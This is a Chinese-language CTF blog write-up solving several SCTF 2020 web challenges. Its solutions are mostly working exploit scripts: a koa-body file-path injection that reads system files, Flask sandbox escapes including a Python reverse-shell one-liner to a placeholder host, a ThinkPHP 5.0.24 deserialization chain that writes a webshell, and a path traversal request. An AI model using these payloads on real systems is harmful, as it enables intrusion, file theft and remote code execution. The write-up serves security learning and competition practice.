Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • SCTF 2020 部分题解

    • Clouddisk
      • pysandbox
        • pysandbox2
          • defender
            • BestLanguage
            Eki
            2021-05-06
            CTF Contest
            目录

            SCTF 2020 部分题解

            # SCTF 2020 部分题解

            # Clouddisk

            给了源码

            const fs = require('fs');
            const path = require('path');
            const crypto = require('crypto');
            const Koa = require('koa');
            const Router = require('koa-router');
            const koaBody = require('koa-body');
            const send = require('koa-send');
            
            const app = new Koa();
            const router = new Router();
            const SECRET = "?"
            
            
            app.use(koaBody({
              multipart: true,
              formidable: {
                  maxFileSize: 2000 * 1024 * 1024 
              }
            }));
            
            
            router.post('/uploadfile', async (ctx, next) => {
                const file = ctx.request.body.files.file;
                const reader = fs.createReadStream(file.path);
                let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
                let filePath = path.join(__dirname, 'upload/') + fileId
                const upStream = fs.createWriteStream(filePath);
                reader.pipe(upStream)
                return ctx.body = "Upload success ~, your fileId is here:" + fileId;
              });
            
            
            router.get('/downloadfile/:fileId', async (ctx, next) => {
              let fileId = ctx.params.fileId;
              ctx.attachment(fileId);
              try {
                await send(ctx, fileId, { root: __dirname + '/upload' });
              }catch(e){
                return ctx.body = "SCTF{no_such_file_~}"
              }
            });
            
            
            router.get('/', async (ctx, next) => {
              ctx.response.type = 'html';
              ctx.response.body = fs.createReadStream('index.html');
              
            });
            
            app.use(router.routes());
            app.listen(3333, () => {
              console.log('This server is running at port: 3333')
            })
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22
            23
            24
            25
            26
            27
            28
            29
            30
            31
            32
            33
            34
            35
            36
            37
            38
            39
            40
            41
            42
            43
            44
            45
            46
            47
            48
            49
            50
            51
            52
            53

            koa-bodyparser的issue.

            https://github.com/dlau/koa-body/issues/75

            在/uploadfile 的路由去POST Json

            poc:

            {"files":{"file":{"name":"eki","path":"/etc/passwd"}}}
            
            1

            这里相当于file.path变成/etc/passwd了

            然后在/download路由下下载得到flag

            exp

            #coding=utf-8
            import requests
            import time
            
            url="http://120.79.1.217:7777/"
            
            s = requests.Session()
            
            def upload(file):
                json = {"files":{"file":{"name":"eki","path":file}}} 
                req = s.post(url+"uploadfile",json=json)
                print req.text
                #print 
                return req.text[38:]
                
            def download(name):
                req = s.get(url+"downloadfile/%s" % (name))
                return req.text
            
            def exploit(name):
                text = download(upload(name))
                if text != "Not Found":
                    retf = open(name.replace("/",''),"wb")
                    retf.write(text)
                    retf.close()
            
            exploit("/app/flag")
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22
            23
            24
            25
            26
            27

            # pysandbox

            可用字符集

            *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy
            
            1

            修改flask app 配置 设置当前目录为静态目录直接通过http请求读

            import requests
            
            url = "http://39.104.25.107:10000/"
            
            s = requests.Session()
            
            def exp(poc1,poc2):
            	data = {
            	"cmd":poc1
            	}
            	header = {
            		"User-Agent":poc2
            	}
            	req = s.post(url,data=data,headers=header)
            	print req.text
            
            exp("app.static_folder=request.user_agent.string",".")
            exp("app.static_url_path=request.user_agent.string","/sadsadsasd")
            
            req = s.get(url+"static/flag")
            
            print req.text
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22

            # pysandbox2

            执行命令时可以执行类似 __builtins__.exec=open ,使得环境的内建方法被替换。

            这里通过重载[]的方式实现函数调用

            import requests
            
            url ="http://39.104.25.107:10004/"
            
            s= requests.Session()
            
            def exp(poc1,poc2):
                data = {
                    "cmd":poc1
                }
                header = {
                    "User-Agent":poc2
                }
                req = s.post(url,data=data,headers=header)
                print req.text
            
            exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string]",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
                
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18

            # defender

            进去跳转到test目录下,发现应该是个纯静态,F12提示了一个路径

            http://8.208.102.48/public/nationalsb/login.php
            
            1

            HTTP基础认证

            在这个页面的js里可以看到用户名和部分密码

            http://8.208.102.48/public/nationalsb/login.html
            
            1

            用BurpSuite爆破得到用户名密码

            存在LFI 利用TP5.0.24的写文件漏洞,实现rce

            import requests
            import base64
            import urllib
            import hashlib
            import random
            
            url = 'http://8.208.102.48/public/'
            
            s = requests.session()
            
            def randomstr():
                return ''.join(random.sample('12234567890zyxwvutsrqponmlkjihgfedcba',6))
            
            def md5(p):
                h = hashlib.md5()
                h.update(p)
                return h.hexdigest()
            
            def exp(p,rs):
                poc='O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22{2}%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A{0}%3A%22{1}%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D'.format(len(p),p,rs)
                
                #print poc
                print urllib.quote(base64.b64encode(urllib.unquote(poc)))
                params= {
                    "s3cr3tk3y":base64.b64encode(urllib.unquote(poc))
                }
                req = s.get(url+"index.php/index/index/hello",params=params)
            
            def name2(rs):
                return "a.php"+md5('tag_'+md5(rs))+".php"
            
            def name(p,rs):
                return p+md5('tag_'+md5(rs))+".php"
            
            def watchlog():
                req= s.get(url+"log.txt")
                print req.text
            
            def test(p):
                req = s.get(url+"index.php/")
                print req.text
            
            def inc(p):
                header={
                    "Authorization":"Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE="
                }
                data = {
                    "file":"/tmp/"+p
                }
                req = s.post(url+"nationalsb/login.php",headers=header,data=data)
                print req.text
                return req.text
            
            #exp('php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>')
            #watchlog()
            
            def exploit(p):
                rs=randomstr()
                #exp('php://filter/write=string.rot13/resource=../../../../../../../../tmp/'+p,rs)
                exp('php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=../../../../../../../../tmp/aaa'+p+"/../a.php",rs)
                #exp('php://filter/write=string.strip_tags/resource=../../../../../../../../tmp/'+p,rs)
                watchlog()
                inc(name2(rs))
            
            exploit('PD9waHAgc3lzdGVtKCdjYXQgbG9naW4ucGhwJykgPz5h')
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22
            23
            24
            25
            26
            27
            28
            29
            30
            31
            32
            33
            34
            35
            36
            37
            38
            39
            40
            41
            42
            43
            44
            45
            46
            47
            48
            49
            50
            51
            52
            53
            54
            55
            56
            57
            58
            59
            60
            61
            62
            63
            64
            65

            # BestLanguage

            直接路径穿越了

            好像是非预期

            GET /index.php/tmp/../../flag HTTP/1.1
            Host: 39.104.93.188
            DNT: 1
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
            Connection: close
            
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            HTTP/1.1 200 OK
            Server: nginx/1.14.0 (Ubuntu)
            Content-Type: text/html; charset=UTF-8
            Connection: close
            Cache-Control: no-cache, private
            Date: Mon, 06 Jul 2020 02:21:35 GMT
            Set-Cookie: XSRF-TOKEN=eyJpdiI6IkxTM1JzK1lBZVBLSW1wYXhSQ3cwb3c9PSIsInZhbHVlIjoiZEdEd3lxRVhEWGZQcThMUkZHb294WXU2MHVPTTJPVHBaRkdvUk5tMXZsUnorMjJEYzFVV0N6eXYxQ3hhNFFaSmdtdERZN0hsZVA3eCt1a1RpR2pRMGc9PSIsIm1hYyI6IjRmYjA1NjEyNzA2ODY2NTAyYjBhMzU2N2I1MWM3ZjM1MGIxNTI5MzBmNjFlMDIxMWVkNWVjMzhjNTVlZjRmODMifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/
            Set-Cookie: laravel_session=eyJpdiI6InRIdEpIaEd1ZGdSNWVwMHhEajJDd3c9PSIsInZhbHVlIjoiTWtJQkM4aVNWYTU4YTZRektuNkg0YUV2eGdVa3JxR1lJSXhLZzJtK3hEbnRvd2x4WWprRk1zcXZvUHNCYXpKRENkQ09jZzd1TmhIR0txVXUxTkp5K3c9PSIsIm1hYyI6IjA4ODYzMzllYzg3OGZjYjZhMWI3Njc5MGU0MTllZDdiNGQwOTlmYTA2Y2E2ZDE1ODFhODIyNTRmZGM4OTAwMzAifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/; httponly
            Content-Length: 41
            
            SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            编辑 (opens new window)
            上次更新: 2022/05/18, 16:49:51
            最近更新
            01
            QWB CTF2022 线下赛总决赛部分题解
            08-25
            02
            CISCN2022 总决赛部分题解
            08-25
            03
            DSCTF2022决赛 部分writeup
            08-08
            更多文章>
            Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
            This work is licensed under a Creative Commons Attribution 4.0 International License.
            • 跟随系统
            • 浅色模式
            • 深色模式
            • 阅读模式